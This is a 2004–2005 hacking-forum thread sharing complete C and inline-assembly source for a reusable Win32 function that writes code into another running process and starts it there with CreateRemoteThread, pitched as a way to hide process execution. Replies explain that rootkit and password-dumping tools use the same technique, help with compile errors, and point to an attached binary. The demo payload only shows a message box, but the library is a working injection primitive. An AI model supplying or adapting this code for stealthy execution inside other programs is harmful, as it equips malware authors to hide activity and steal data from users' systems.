Forums: Hidethread - Forums

Jump to content

Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

Hidethread Injects code

#1 User is offline   s0v1v1d 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 50
  • Joined: 30-September 03

Posted 24 December 2004 - 11:27 PM

Injects code into a running application on win32.

/*
 * uninformed research
 * http://www.uninformed.org
 *
 * This is proof of concept code with a reusable function for injecting arbitrary functions into a process and then execute
 * that function within the context of the process.  This is useful for lots of things, none more obvious than hiding process
 * execution.  This code is however specific to NT as it uses functions such as VirtualAllocEx and CreateRemoteThread.
 *
 * If you want to compile this as a library, simply add /DLIBRARY to the command line and make it not link.
 * This will remove all of the example code and leave you with the startThreadInProcess method.
 *
 * skape
 * 07/23/2002
 * mmiller@hick.org
 *
 * cl hidethread.c /link user32.lib psapi.lib
 *
 */
#define DEBUG

#include <stdlib.h>
#include <stdio.h>

#include <windows.h>

unsigned char startThreadInProcess(DWORD pid, DWORD (WINAPI *threadFunctionstart)(void *), DWORD (WINAPI *threadFunctionend)(void *), void *context, unsigned long contextSize);

#ifndef LIBRARY

typedef struct {
	DWORD size;
	char  user32Dll[32];
	char  messageBoxFuncName[32];
	DWORD loadLibraryImport;
	DWORD getProcAddressImport;
} THREAD_FUNCTION_CTX;

static DWORD WINAPI exampleThreadFunction(THREAD_FUNCTION_CTX *ctx);
static DWORD WINAPI exampleThreadFunctionend(THREAD_FUNCTION_CTX *ctx);

int main(int argc, char **argv)
{
	THREAD_FUNCTION_CTX ctx;
	DWORD pid;
	HMODULE dll;

	if (argc == 1)
	{
  fprintf(stdout,"Usage: %s [pid]\n", argv[0]);
  return 0;
	}

	pid = strtoul(argv[1], NULL, 10);

	/*
  * Initialize our context that we pass to the thread with the information we need.
  */
	memset(&ctx, 0, sizeof(ctx));

	if ((dll = LoadLibrary("kernel32.dll")))
	{
  ctx.loadLibraryImport = (DWORD)GetProcAddress(dll, "LoadLibraryA");
  ctx.getProcAddressImport = (DWORD)GetProcAddress(dll, "GetProcAddress");

  FreeLibrary(dll);
	}
	else
	{
  fprintf(stdout,"Could not open kernel32.dll.\n");
  return 0;
	}

	strcpy(ctx.user32Dll, "user32.dll");
	strcpy(ctx.messageBoxFuncName, "MessageBoxA");

	if (!startThreadInProcess(pid, (DWORD (WINAPI *)(void *))exampleThreadFunction, (DWORD (WINAPI *)(void *))exampleThreadFunctionend, &ctx, sizeof(ctx)))
  fprintf(stdout,"Injection of thread failed. (lastError=%lu)\r\n", GetLastError());
	else
  fprintf(stdout,"Successfully injected thread.\r\n");

	return 1;
}

/*
 * Things to know about injected functions:
 *
 *     * You cannot use static buffers or addresses which are non-relative to the binary you're injecting to.
 *       (Meaning you can't do this: char *bob = "blah";)
 *     * You cannot directly call win32 functions.  You have to use addresses relative to the imported address
 *       inside the executable.
 *     * There are a few other quirks that I can't think of at this point, but you get the idea.
 *
 *  My example function depends on two things:
 *     1) The binary MUST have a LoadLibraryA import.
 *     2) The binary MUST have a GetProcAddressA import.
 *
 *  The import addresses are static.  You can determine an import address via few mechanisms such as:
 *    1) IDA
 *    2) dependency viewer (entry point on imported funcs)
 *   3) or you could use the imagehlp api and find out the virtual address for a symbol yourself.
 */
static DWORD WINAPI exampleThreadFunction(THREAD_FUNCTION_CTX *ctxaddr)
{
	/*
  * required imports: LoadLibraryA, GetProcAddressA
  */
	unsigned long loadLibraryImport = ctxaddr->loadLibraryImport, getProcAddressImport = ctxaddr->getProcAddressImport, messageBoxAddr;
	HMODULE dll;
	char caption[4];
	char text[32];

	caption[0] = 'h';
	caption[1] = 'i';
	caption[2] = 0;

	text[0] = 'i';
	text[1] = 'n';
	text[2] = 'j';
	text[3] = 'e';
	text[4] = 'c';
	text[5] = 't';
	text[6] = 0;

	/*
  * This assembly does a LoadLibrary on user32.dll and then a GetProcAddress on MessageBoxA.
  * After that point, it calls MessageBoxA printing 'hi', 'inject'.  This message box
  * is appearing in the context of the injected process, meaning, it looks as if it's coming
  * from that process.  Also, I don't FreeLibrary here, mainly because I don't see the need to :)
  */
	__asm
	{
  mov  ecx, ctxaddr                     ; move the address of ctxaddr into ecx
  add  ecx, 04h                         ; offset into struct of user32.dll
  push ecx                              ; push ctxaddr+04h (ctxaddr->user32Dll)
  call [loadLibraryImport]              ; call LoadLibraryA import
  mov dword ptr [dll], eax              ; move the return value to dll (HMODULE)
  mov  ecx, ctxaddr                     ; move the address of ctxaddr into ecx
  add  ecx, 24h                         ; offset into struct of message box (+36)
  push ecx                              ; second arg, the symbol name MessageBoxA
  push dll                              ; first arg, the handle to the dll
  call [getProcAddressImport]           ; call the GetProcAddressA import
  mov dword ptr [messageBoxAddr], eax   ; move the return value to messageBoxAddr
  push MB_OK                            ; fourth, MB_OK
  lea  ecx, [caption]                   ; get the effective address of caption
  push ecx                              ; third arg, caption
  lea  ecx, [text]                      ; get the effective address of text
  push ecx                              ; second arg, text
  push 0h                               ; first arg of message box, NULL
  call [messageBoxAddr]                 ; call MessageBoxA
	}

	return 1;
}

/*
 * This is here to calculate the length of the exampleThreadFunction for when we copy it.
 */

#pragma warning (disable: 4716)
static DWORD WINAPI exampleThreadFunctionend(THREAD_FUNCTION_CTX *ctx)
{
}

#endif

unsigned char startThreadInProcess(DWORD pid, DWORD (WINAPI *threadFunctionstart)(void *), DWORD (WINAPI *threadFunctionend)(void *), void *context, unsigned long contextSize)
{
	unsigned char foundPid = 0;
	HANDLE process, threadHndl;
	unsigned char *virtualFunctionBuffer;
	DWORD id, size, numBytes;
	HMODULE dll;

	if (!(process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)))
  return 0;

	/*
  * We got here, that means we found the process and have successfully opened it.
  * Calculate the length of the threadFunction.
  */
	size = (LPBYTE)threadFunctionend - (LPBYTE)threadFunctionstart;

	/*
  * Allocate enough space for our function and our context.
  */
	virtualFunctionBuffer = VirtualAllocEx(process, NULL, size + contextSize, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);

	/*
  * Write our function and then our context.
  */
	WriteProcessMemory(process, virtualFunctionBuffer, (LPVOID)threadFunctionstart, size, &numBytes);
	WriteProcessMemory(process, virtualFunctionBuffer + size, (LPVOID)context, contextSize, &numBytes);

#ifdef DEBUG
	fprintf(stdout,"virtualFunctionBuffer = %.8x len = %d\r\n", virtualFunctionBuffer, size);
#endif

	/*
  * Create the thread as the process.
  */
	threadHndl = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)virtualFunctionBuffer, virtualFunctionBuffer + size, 0, &id);
	
	CloseHandle(process);

	if (threadHndl)
	{
  CloseHandle(threadHndl);
  return 1;
	}
	else
  return 0;
}

Attached File(s)


0

#2 User is offline   MxMx 

  • Sergeant First Class
  • Icon
  • Group: Members
  • Posts: 329
  • Joined: 23-August 03

Posted 25 December 2004 - 12:04 AM

very much post, but what does this thingie exactly do?
0

#3 User is offline   Tomjack2000 

  • Private
  • Icon
  • Group: Members
  • Posts: 19
  • Joined: 19-August 03

Posted 03 January 2005 - 04:15 AM

If i look at this code i think this code hiddes a process.
You must/can start it "hidethread.exe 1234" 1234 = ProcessID;

Thanx for this s0v1v1d !
0

#4 User is offline   karate 

  • Private First Class
  • Icon
  • Group: Validating
  • Posts: 38
  • Joined: 21-September 03

Posted 16 February 2005 - 06:00 PM

Thx very mutch for sharing!

great tech! :)
0

#5 User is offline   G777 

  • Corporal
  • Icon
  • Group: Members
  • Posts: 168
  • Joined: 01-February 04

Posted 16 February 2005 - 10:02 PM

Tomjack2000, on Jan 3 2005, 12:15 PM, said:

If i look at this code i think this code hiddes a process.
You must/can start it "hidethread.exe 1234" 1234 = ProcessID;

Thanx for this s0v1v1d !


lol what it actually does is injects a little caption box thingy into the process you specify with the PID
when you run it the caption box appears on desktop saying "hi inject ok" :P
read the code ;)
Heavens gates wont hold me, I`ll saw those suckers down
Laughing loud at your locks, When they hit the ground
0

#6 User is offline   nolimit 

  • Sergeant First Class
  • Icon
  • Group: Members
  • Posts: 387
  • Joined: 27-January 04

Posted 17 February 2005 - 12:28 PM

G777 Is correct.
This is a good poc application for the other type of code injection. DLL injection is the main one, this is pure function injection where a function is written directly into the memory of the remote process and ran. pwdump2 is popular software that uses this technique(yes I know it has samdump.dll, look at the source code if you don't believe me.).

Hxdef also uses this technique, as hf didn't want seperate dll modules hanging around, in reality it is the most efficient way, however not the easiest.

good work s0v1v1d, however after the message is displayed and you click ok, it crashes. Doesn't really matter as this isn't much more usable then a POC, just wanted to let you know.
0

#7 User is offline   setthesun 

  • Master Sergeant
  • Icon
  • Group: Specialist
  • Posts: 574
  • Joined: 13-February 04

Posted 18 February 2005 - 02:11 AM

It looks great but I'm getting an error;

hide.cpp(186): error C2440: '=' : cannot convert from 'LPVOID' to 'LPVOID * '


any idea ?

setthesun me = new setthesun();
0

#8 User is offline   SecureD 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 137
  • Joined: 09-October 03

Posted 18 February 2005 - 10:19 AM

setthesun, on Feb 18 2005, 10:11 AM, said:

It looks great but I'm getting an error;

hide.cpp(186): error C2440: '=' : cannot convert from 'LPVOID' to 'LPVOID * '


any idea ?


Strange, I don't even find LPVOID at line 186. I can compile it with:
CPP HideThread.cpp -o HideThread


But there is also a compiled version attached to this thread. You can use that one. Good luck!
0

#9 User is offline   setthesun 

  • Master Sergeant
  • Icon
  • Group: Specialist
  • Posts: 574
  • Joined: 13-February 04

Posted 18 February 2005 - 01:00 PM

I'm getting this error with VS, I know it has binary attachment but that's not the point :D

setthesun me = new setthesun();
0

#10 User is offline   nolimit 

  • Sergeant First Class
  • Icon
  • Group: Members
  • Posts: 387
  • Joined: 27-January 04

Posted 18 February 2005 - 02:23 PM

setthesun, on Feb 18 2005, 09:00 PM, said:

I'm getting this error with VS, I know it has binary attachment but that's not the point :D

[CODE]
WriteProcessMemory(process, virtualFunctionBuffer, (LPVOID)threadFunctionstart, size, &numBytes);
WriteProcessMemory(process, virtualFunctionBuffer + size, (LPVOID)context, contextSize, &numBytes);
[CODE]
are only lines with LPVOID in it. I didn't have a problem compiling it as is, however you can try making those (LPVOID *) or changing the declaration for those variables that the LPVOID is casting to.
0

#11 User is offline   G777 

  • Corporal
  • Icon
  • Group: Members
  • Posts: 168
  • Joined: 01-February 04

Posted 18 February 2005 - 03:04 PM

setthesun, on Feb 18 2005, 09:00 PM, said:

I'm getting this error with VS, I know it has binary attachment but that's not the point :D


try changing file extension to hide.c and compile ;)
Heavens gates wont hold me, I`ll saw those suckers down
Laughing loud at your locks, When they hit the ground
0

#12 User is offline   setthesun 

  • Master Sergeant
  • Icon
  • Group: Specialist
  • Posts: 574
  • Joined: 13-February 04

Posted 18 February 2005 - 10:15 PM

it worked :)

setthesun me = new setthesun();
0

#13 User is offline   rubbar 

  • Private
  • Icon
  • Group: Members
  • Posts: 14
  • Joined: 16-September 03

Posted 22 February 2005 - 07:43 PM

Nice source
0

#14 User is offline   evering 

  • Private
  • Icon
  • Group: Members
  • Posts: 1
  • Joined: 22-June 05

Posted 22 July 2005 - 05:18 AM

after the code was injected, there will be a new thread created in the target process. so, should the code not be called "hide thread"?

anywhere, thanks the code ;)
0

Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users

  • Share



Our Sponsors:


SwiftLayer Affiliate Web Hosting